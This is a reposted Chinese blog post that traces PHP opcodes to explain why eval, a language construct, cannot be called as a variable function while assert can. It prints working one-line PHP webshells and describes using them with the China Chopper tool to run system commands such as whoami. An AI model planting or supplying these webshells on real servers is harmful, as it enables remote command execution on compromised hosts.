从底层分析eval和assert的区别

经常会遇上这么一个问题

<?php
$_POST['1']($_POST['2']);

在菜刀中一般是1=assert&2做为密码连接,或者1=system&2=whoami来执行命令。

<?php
eval($_POST['2']);

看看熟悉的一句话,这个时候就会想,为啥不能这样1=eval&2连接。


$_POST['1']()这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构

所以在看手册里面看eval函数就会发现有一行提示:

Note: 因为是一个++语言构造器++而不是一个函数,不能被可变函数调用。

结论就说到这,现在来验证一下。

eval.php

<?php
eval("system('whoami');");

assert.php

<?php
assert('system("whoami")');

804631-20160812183342578-1228382810.png

804631-20160812183355093-1358589994.png

可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理。

可以看下DO_FCALL
804631-20160812183427515-1474195187.png

会进行一个函数名的查找

再跟一下INCLUDE_OR_EVAL

804631-20160812183440765-1725908221.png

就会发现进去后会直接编译eval参数中的代码。

从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。

print与printf也一样,前者不是函数,而后者是的。

对于opcode的理解可以看看这篇文章

感谢ph师傅以及各位基友的指导。

参考资料:
ln-科普小文章php内核动态调试关于弱类型比较

转载于:https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值